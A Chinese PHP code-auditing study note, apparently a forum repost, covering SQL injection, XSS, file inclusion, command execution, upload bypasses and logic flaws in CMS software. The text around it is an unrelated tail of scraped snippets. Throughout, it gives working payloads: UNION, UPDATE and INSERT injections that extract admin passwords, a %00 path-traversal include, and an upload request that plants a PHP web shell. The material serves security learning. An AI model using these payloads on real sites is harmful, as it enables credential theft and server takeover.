php代码审计基础笔记

出处: 九零SEC
连接:http://forum.90sec.org/forum.php?mod=viewthread&tid=8059

----------------------------------------------------------
team:xdsec&90sec
author:wilson
blog:http://blog.wils0n.cn/
文章链接:wilson‘s blog_php代码审计基础笔记[求人气~~]
-------------------------------------------------------------
0x01 前言

这阵子在学php代码审计,算是一个笔记。留着以后看。

php代码审计需要比较强的代码能力以及足够的耐心.....

至于如何学好php代码审计?去膜拜p神吧....

http://wooyun.org/whitehats/phith0n

http://www.leavesongs.com/

看着p神的文章,学审计......  许多东西都是复制p神~

文章写给像我一样刚刚开始审计的小菜鸟~,有错欢迎指出~

求勿喷...........继续学审计中........

+++++++++++++++++++++++++++++++++++++++++++++

0x02 审计前奏

一)关注变量+函数

1.可以控制的变量【一切输入都是有害的 】

2.变量到达有利用价值的函数[危险函数] 【一切进入函数的变量是有害的】

------来源t00ls

客户端提交变量:

$_GET:http://localhost/mm.php?a=xxxxx

$_POST:

$_COOKIE:

记录在我们本地浏览器中的变量,是可控的。PHP中还有一个变量$_SESSION。

每个人访问网站,他的phpsessid都是不一样的,这个值就用来区分每个用户。服务器用PHPSESSID=cmebf7jkflu5a31vf67kbiopk4来标示每个用户,是否登录或者是否是管理员。

$_FILES:

可能产生的漏洞类型:

01.上传漏洞,上传一个php木马,相当于直接getshell了

02.注入,有些cms会把name的值保存在数据库里,但又没有对name进行过滤

$_SERVER:其中部分我们可以控制。

X-FORWARDED-FOR:IP地址,很多cms取ip是首先取这个变量中的值,如果

没有这个变量,才去取我们的真实Ip.

Referer:来源地址,我们访问目标页面的来源

Host:目标网址这几个变量就是我们php中间用户可以控制的变量。

大部分的漏洞都是 从这几个变量开始展开的。

$_REQUEST 就是$GET/$_POST/$COOKIE

要是使用了xxx框架的话,如何找到这些变量呢?

Mvc框架比较流行了

所以我去了解了一下thinkphp的mvc框架[http://blog.wils0n.cn/?id=14]

--------------------------------------------------------------------

二)关注什么样的漏洞

1.Sql注入

2.文件操作[上传/写入/读取/删除]

3.文件包含

4.命令执行

5.Xss

6.Cookie欺骗

7.逻辑出错

........等等

每种漏洞有对应找漏洞的方法,往往先找getshell的方法[1,2,3,4这三中漏洞是常见的getshell方法我们要多多关注这个]而逻辑出错也是很要命的。。。。 - -

所以我们要认识清楚漏洞原理,积累cms常出漏洞,积累找这种漏洞的技巧.....

--------------------------------------------------------------------


三)本地搭建环境测试

1.黑盒加白盒

不得不说黑盒的重要性!

Burp常开对你只要没有坏处!

2.大体看看文件的目录

3.cms安装到本地,大概了解功能,比如有注册会员功能的cms,我就注册一个会员,比如有搜索框,我就会搜索一下,大概查看一下搜索出来的内容,[恩 因为字符型都进行了转换 @ [email protected] 所以搜索型的很重要,有哪些数据提交点、能否留言等等] 摘自p神

技巧:最好可见在本地测试时候讲你的输入点打印出来

我会将用户的输入数据进行var_dump,重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]。

我审计了一个cms就是这样的,结果黑盒就发现登入处有注入,真的去审计还花了不少力气去读源码,并且学会了一个thinkphp的执行sql特点.

+++++++++++++++++++++++++++++++++++++++++++++++++++++

四)审计各种不同漏洞技巧

1.Sql注入审计技巧


sql注入是我们审计比较重视的漏洞之一

0x01 漏洞原理

所以现在很多cms都对注入进行了一定的过滤,一般有两种过滤方法:

01.对于数字型的输入,直接使用intval($_GET[id]),强制转换成整数,这种过滤是毫无办法的。
$ann_id = !empty($_REQUEST[‘ann_id‘]) ? intval($_REQUEST[‘ann_id‘]) : ‘‘;
要是没有intval($_GET[id]) 那就呵呵了。//有一个屌丝cms就是这样......
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,(select%20concat(admin_name,0x23,email,0x23,pwd)%20from%20blue_admin)
02.有些输入是字符型的,不可能转换成数字。这个使用就使用addslashes对输入进行转义。
aaa’aa ==> aaa\’aa
aaa\aa ==> aaa\\aa
SELECT * FROM post WHERE id=’aaa\’ union select pwd from admin limit 0,1#

--------------------------------
0x02 漏洞发生

要是过滤不是上面这几中,而是黑名单,或者你欠日什么都没有过滤的话,那么很多情况下是可以注入的。所以cms随着漏洞的爆出,慢慢的这样的情况几乎都没有了

那么问题来了,在上面这种情况漏洞怎么出现?[蓝翔.....]

漏洞(一)ip没过滤直接进到sql语句

函数讲解:

getenv : 这个函数是获得环境变量的函数,也可以用来获得$_SERVER数组的信息。

getenv(‘HTTP_X_FORWARDED_FOR‘) --> $_SERVER[HTTP_X_FORWARDED_FOR]

当然http头还有referer 这也是可以伪装的,要是没有过滤好也会产生会注入问题

漏洞(二)宽字节注入 [对字符]

如果发现 cms是GBK 只有看看 能不能宽字节注入

Sqlmap 的unmagicquotes.py 可以进行宽字测试

下面摘自p神写的:浅析白盒审计中的字符编码及SQL注射.pdf

解决宽字节注入办法:

mysql_query("SET character_set_connection=gbk,character_set_results=gbk,character_set_client=binary", $conn);

到这里就一般高枕无忧了.....

但是 要是画蛇添足得使用iconv就可能出现问题了

有些cms:

会加上下面语句避免乱码

iconv(‘utf-8‘, ‘gbk‘, $_GET[‘word‘]);

将传入的word有utf-8转成gbk.....

发现錦的utf-8 编码是0xe98ca6,而的gbk 编码是0xe55c

我们输入錦‘ -->%e5%5c%27【%5c就是\】

在经过转移------>%e5%5c%5c%27【5c%5c就是\\】这样我们就有可以开心的注入了....

漏洞(三)sql二次注入

例如:p神的HDWiki二次注入

漏洞(四)文件名注入

因为$_FILE,$_SERVER不受gpc影响,那么可能造成注入.......

有些cms会把name的值保存在数据库里,但又没有对name进行过滤。

例如:p神的emlog后台注入(需要作者权限即可)

还有Thinksaas最新版注入无视GPC

http://wooyun.org/bugs/wooyun-2010-051124

--------------------------------
0x03 注入类型

1.Selcet 注入 这个常见就不说了

一般就是联查,要是报错开启也可以报错注入

2.Update 注入

p神做了一个教程关于bluecms这cms漏洞:

Get_ip() 直接用了X-FORWARDED-FOR

$sql = "UPDATE blue_user SET last_login_time = ‘$last_login_time‘, last_login_ip = ‘可控位置‘ WHERE user_id=‘$_SESSION[user_id]‘";

UPDATE
blue_user SET last_login_time = ‘1394368489‘, last_login_ip =
‘8.8.8.8‘,address=(select concat(admin_name,0x23,email,0x23,pwd) from
blue_admin limit 0,1), qq=‘ ‘ WHERE user_id=‘2‘

//addrress是前台可见的,而且长度够大

//p神说.....

碰到update语句中含有注入的情况,我们怎么处理?

01.跟我刚才一样,把某个可以看到的信息给更新成管理员密码,这样就获得了密码

02.
报错注入,使用某一特定的报错语句,让sql语句在执行中出错,能爆出管理员账号密码。但是有个条件,就是在执行sql语句的时候调用了
mysql_error函数,否则不会显示报错信息。比如bluecms就没有调用mysql_error,所以不能使用这个方法。

3.Insert 注入

引用了音符牛的一个文章

http://bbs.xdsec.org/?/question/310

音符的XD某套系统的代码审计第二弹:insert注入

//字符串完全没过滤,gpc为关闭
function guest_add()//添加留言
{
global $bqz,$lang;
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values (‘".$_POST."‘,‘".$_POST."‘,‘".$_POST."‘,‘".$_SERVER."‘,‘".$_POST."‘,‘".time()."‘)";
mysql_query($exec)||die(mysqli_error());
echo "<script>alert(‘".$lang."‘);window.location.href=‘http://bbs.xdsec.org/?/guest.php‘;</script>";
}
$exec="insert into ".$bqz."guest (title,name,email,ip,content,times) values (‘".$_POST."‘,‘".$_POST."‘,‘".$_POST."‘,‘".$_SERVER."‘,‘".$_POST."‘,‘".time()."‘)";
//没有过滤就将数据放入guest表中,guest表的内容前台可见。

payload:标题123‘,‘1‘,‘haha‘,‘1.1.1.1‘,(select concat(admin_name,0x23,admin_password) from xxx_admin limit 0,1),‘1314205172‘)#

其他的随便填。

则执行:

insert into xdxx_guest (title,name,email,ip,content,times) values (‘123‘,‘1‘,‘haha‘,‘1.1.1.1‘,(select concat(admin_name,0x23,admin_password) from xdxx_admin limit 0,1),‘1314205172‘)#‘,‘time()‘)

因为前台可以看到的只有name跟content,而name要用来闭合前面的单引号,所以用content字段来保存管理员的账号密码。

0x04技巧

技巧:最好可见在本地测试时候讲你的输入点打印出来

我会将用户的输入数据进行var_dump

重要的是对最终的sql语句进行var_dump,这和给你省去很多力气!我们只要var_dump($sql)然后再可以去黑盒测试,[比如搜索框,用户登入,文件上传名称等等]

so,还是这技巧点

=====================================================

2.xss审计技巧

Xss最常见就在留言板地方了!

1.先可以黑盒:

我们可以对fuzz,加载你的xss,payload都试试。[可以积累你的xsspayload]

然后去管理后台看看。有没有执行xss成功

学习xss:

http://www.wooyun.org/bugs/wooyun-2010-015957

心伤的瘦子专辑.......

2.看代码看看如何过滤了,再看看能不能绕过。

这就要靠你的本领了

但是现在可多就都过滤了

用了htmlspecialchars进行过滤, = =

一个tip:

不少cms会对留言者的ip进行记录。

而他们用一个具有漏洞的函数,

/**
     *
获取客户端
IP
地址
     */
    public static function getip() {
        $onlineip = ‘‘;
        if (getenv(‘HTTP_CLIENT_IP‘) && strcasecmp(getenv(‘HTTP_CLIENT_IP‘), ‘unknown‘)) {
            $onlineip = getenv(‘HTTP_CLIENT_IP‘);
        } elseif (getenv(‘HTTP_X_FORWARDED_FOR‘) && strcasecmp(getenv(‘HTTP_X_FORWARDED_FOR‘), ‘unknown‘)) {
            $onlineip = getenv(‘HTTP_X_FORWARDED_FOR‘);
        } elseif (getenv(‘REMOTE_ADDR‘) && strcasecmp(getenv(‘REMOTE_ADDR‘), ‘unknown‘)) {
            $onlineip = getenv(‘REMOTE_ADDR‘);
        } elseif (isset($_SERVER[‘REMOTE_ADDR‘]) && $_SERVER[‘REMOTE_ADDR‘] && strcasecmp($_SERVER[‘REMOTE_ADDR‘], ‘unknown‘)) {
            $onlineip = $_SERVER[‘REMOTE_ADDR‘];
        }
        return $onlineip;
  
}

当HTTP_X_FORWARDED_FOR存在时获取的IP就是它,但是HTTP_X_FORWARDED_FOR是可以伪造的

但是存ip的字段,有是比较小的。我们去看看p神如何绕过

http://wooyun.org/bugs/wooyun-2010-045687

我只能说,吊死了  = =

请收下我的膝盖......

3.Xss利用

现在应该大多都是x管理员的cookie吧。

再次膜拜一下p神的审计能力,xss的作用可以getshell的

http://wooyun.org/bugs/wooyun-2010-063052

我们可以利用js来发送post包,利用管理员权限去得到getshell

$.ajax({ "url": "网址", "type": "POST","data":"POST的内容" })

我也是刚刚知道这个知识 搞定一个cms.......

=====================================================

3.文件包含漏洞审计技巧

文件包含漏洞

看音符大牛的文章

https://www.t00ls.net/thread-26571-1-3.html

1.截断技巧

%00和230个/

2.远程包含

allow_url_fopen = On并且allow_url_include = On时,则可以包含远程文件

3.一个出问题的cms

Yxcms给音符牛日穿了

https://www.t00ls.net/viewthread.php?tid=27266&highlight=yxcms

payload:http://test.com/cms//YXcmsApp1.2.3/index.php?r=..\..\upload\member\image\20140504\thumb_1399213415.jpg%00

=====================================================

4.命令执行审计技巧

没有什么技巧

0x01 搜索可以执行php代码的函数

Eval,assert....

0x02 搜索可以执行系统命令的函数

system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反单引号</strong>)....

=====================================================

5.文件操作审计技巧

5.1 .两个小知识,一个tip

1.

$_FILES["file"]["name"] - 被上传文件的名称

$_FILES["file"]["type"] - 被上传文件的类型

$_FILES["file"]["size"] - 被上传文件的大小,以字节计

$_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称

$_FILES["file"]["error"] - 由文件上传导致的错误代码

2.

文件上传的过程:

01.用户选择文件,点击上传

02.服务器接收到文件,然后将文件保存在临时目录内

03.php对文件类型、后缀等内容检查,检查通过后移动到web目录下

tip:

将var_dump($FILE[]);

然后试试黑盒审计吧

注意一点 如果文件名进入数据库也有可能造成注入的。

因为$_FILE不受gpc影响[之前也提过了]

--------------

5.2文件上传漏洞    来自[+]上传攻击总结.pdf[这极好的文章]

1.javascript上传检测

....直接无视

用burp改一下就好了

2.mime上传文件类型

例如:BlueCMS(地方分类信息门户专用CMS系统)

include/upload.class.php发现,只是检测了文件头,没有检测后缀.

class upload {
    private $allow_image_type = array(‘image/jpg‘, ‘image/gif‘, ‘image/png‘, ‘image/pjpeg‘);
......
    function img_upload($file, $dir = ‘‘, $imgname = ‘‘){
        if(empty($dir)){
            $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
        }else{
            $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
        }

        if(!file_exists($dir)){
            if(!mkdir($dir)){
                showmsg(‘上传过程中创建目录失败‘);
            }
        }
        if(empty($imgname)){
            $imgname = $this->create_tempname().$this->get_type($file[‘name‘]);
        }
        $imgname = $dir . $imgname;
        if(!in_array($file[‘type‘],$this->allow_image_type)){
             //只是检测了文件头部来着,那我们就直接构造一个SHELL就好了
            showmsg(‘不允许的图片类型‘);
        }
}

Payload:
            然后我们可以将request 包的Content-Type 修改
            POST /upload.php HTTP/1.1
            TE: deflate,gzip;q=0.3
            Connection: TE, close
            Host: localhost
            User-Agent: libwww-perl/5.803
            Content-Type: multipart/form-data; boundary=xYzZY
            Content-Length: 155
            --xYzZY
            Content-Disposition: form-data; name="userfile"; filename="shell.php"
            Content-Type: image/gif (原为Content-Type: text/plain)//$_FILES["file"]["type"]
            <?php system($_GET[‘command‘]);?>
            --xYzZY--

3.服务器检测绕过(目录路径检测)
            Filename 可以控制,直接进行%00截断看看能不能搞定

4.文件名检测
            下面就是去检测:$_FILES["file"]["name"]
            再次注意:如果文件名进入数据库也有可能造成注入的。

1)黑名单上传

各种测试 这里我们看代码就可以了。

我们可以看看能不能

1.大小写绕过

2.黑名单外的危险脚本[htaccess 文件攻击]

3.解析漏洞结合

4.利用windows特性绕过

雨牛的文章: https://forum.90sec.org/forum.php?mod=viewthread&tid=7806

phpdisk使用了黑名单

可以用加空格来绕过

另外大牛又给出了

提交.php::$data 这样就不会匹配到黑名单中了。 这种想法,感觉自己有学习了....

2)白名单上传

1. 0x00 截断绕过

用像test.asp%00.jpg 的方式进行截断,属于白名单文件,再利用服务端代码的检测逻辑

漏洞进行攻击,目前我只遇到过asp 的程序有这种漏洞

2. 解析调用/漏洞绕过

这类漏洞直接配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞

5.文件上传逻辑漏洞
            http://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html
            不得不又一次膜拜p神......
            文件上传,支持zip上传,但是这个phpcms没有对子目录下的文件,进行验证。导致getshell
            而且有了一个竞争上传的概念。。。。
            文件是先在服务器存在了,然后再验证文件名的可靠性。不合法就删除。那就出现问题了,在存在时候,我们可以一整去访问这个php,而这个php的功能就是写马。这样就可以成功getshell了。。。。

5.4.文件下载

求补充

5.3 文件写入。文件删除

求补充

=====================================================

6.逻辑出错审计技巧

很多程序有逻辑出错的情况.....

1.程序没有及时结束[die]

http://www.wooyun.org/bugs/wooyun-2010-063019

Ducms就是/install/install.php

没有及时结束

给p神 利用一个外链的mysql 绕过限制 加入一个admin账户。。。

http://wooyun.org/bugs/wooyun-2010-045143

还有一个直接写入配置文件的StartBBS重安装getshell也是因为这个原因

除了安装可能出现这种情况

Admin目录下也可能这样

判定不是admin就跳转,但是php代码是继续执行没有及时结束的

2.admin登入口检查有问题

认证太奇葩...

3.找回密码可能出现漏洞

4.验证码重用,造成爆破

漏洞类型还要很多.....

时间: 2024-10-09 01:48:39

php代码审计基础笔记的相关文章

java String 类 基础笔记

字符串是一个特殊的对象. 字符串一旦初始化就不可以被改变. String s = "abc";//存放于字符串常量池,产生1个对象 String s1=new String("abc");//堆内存中new创建了一个String对象,产生2个对象 String类中的equals比较字符串中的内容. 常用方法: 一:获取 1.获取字符串中字符的个数(长度):length();方法. 2.根据位置获取字符:charAt(int index); 3.根据字符获取在字符串中

网络基础笔记——OSI七层模型

OSI七层模型 由于整个网络连接的过程相当复杂,包括硬件.软件数据封包与应用程序的互相链接等等.如果想要写一支将联网全部功能都串连在一块的程序,那么当某个小环节出现问题时,整只程序都需要改写.所以我们将整个网络分成数层,每层都有自己独立的功能,而且每层的代码都可以独立撰写,因为相互之间不会干扰.如此一来,当某个小环节出现问题时,只要将该层的代码改写即可.并且这样可以让整个网络层次更加的清晰. 在网络上传输信息就像是一个发包裹的过程,从己方的应用程序开始往第七层的包裹里塞数据,再依次塞到第一层的包

[Java基础笔记]数组

Java基础笔记 定义数组: int[] numbers = new int[100]; //方法一 double[] num = new double[10]; int[][] a = new int[2][5]; 通过new创建的数组,元素默认值为0(0.0) int[] scores = {5,4,33,12,46}; //方法二 int[][] a = { //位数不足,自动补0 {5,3,2,1,6}, {10,12,14,15}, }; 数组特性:存储的都是同类型数据:长度定义后不可

C# 基础笔记(第一篇)

C#基础 概念:.net与c#.net/dontnet:一般指.net framework框架,一种平台,一种技术c#(charp):一种编程语言,可以开发基于.net的应用. *java既是一种技术又是一种编程语言.                           .net都能干什么?开发桌面应用程序   Winforminternet应用程序    Asp.net/webservice C/S:客户机(Client)/服务器模式(Server)B/S:浏览器(Browser)/务器模式(

我的LINUX基础笔记

Linux系统管理      1 Day   2014.5.23 su -name   切换用户passwd 密码   更改密码gnome-terminal    伪CLI   桌面终端程序1.查看内核版本uname -r    2.查看红帽系统版本cat /etc/redhat-rdlease3.查看LINUX标准分发版信息  lsb_release4.查看网卡的IP,MAX       ifconfig                       ifconfig eth 10.0.0.10

Nginx基础笔记

Nginx基础笔记 资源 安装 ubuntu下 编译安装 基本操作 HTTP基本配置 配置说明 配置文件目录结构 配置文件结构 模块 模块化 index模块 Log模块 Real IP模块 Access模块 Rewrite模块 Proxy模块 upstream模块 其他 配置静态化目录 负载均衡 控制页面缓存 nginx的内置变量 nginx小结 资源 资源 Nginx 官网 Nginx 官方下载地址 Nginx最佳实践配置项目 地址 Nginx Configuration wiki 教程 ag

MYSQL基础笔记(三)-表操作基础

数据表的操作 表与字段是密不可分的. 新增数据表 1 Create table [if not exists] 表名( 2 字段名 数据类型, 3 字段名 数据类型, 4 字段n 数据类型 --最后一行不需要加逗号 5 )[表选项]; If not exists:如果表名不存在,那么就创建,否则不执行创建代码,实现检查功能. 表选项:控制表的表现 1.字符集:charset/character 具体字符集:--保证表中数据存储的字符集. 2.校对集:collate 具体校对集: 3.存储引擎:e

REDIS基础笔记

Redis基础笔记 资源链接 简介 简介 安装 五种数据类型及相应命令 1. 字符串类型 2. 散列类型 3. 列表类型 4. 集合类型 5. 有序集合 其他 事务 SORT 生存时间 任务队列 发布/订阅模式 Python中使用Redis 实际实例 管理 其他 资源链接 推荐书籍:<Redis入门指南> 资源列表: redis命令速查command | CMD索引-中文 | CMD树-中文 redis源码github 下载地址redis.io The Little Redis book 入口

web服务的一些基础笔记

1. MIME(Multipurpose Internet Mail Extension,多用途互联网邮件扩展) 它是SMTP能够传输非文本格式文件的根源,将他引入到HTTP,那么HTTP也可以传输图片声音等非文本格式的文件,所以他也是HTTP可以传输非文本格式文件的根源. 将非文本数据在传输数据前重新编码为文本格式,接收方能够用相反的方式将其重新还原为原来的格式,还能够用相应的程序来打开. 2.flash,Applet(Java中), Flash也是一种变成语言.可以有动态网页. 3.动态网页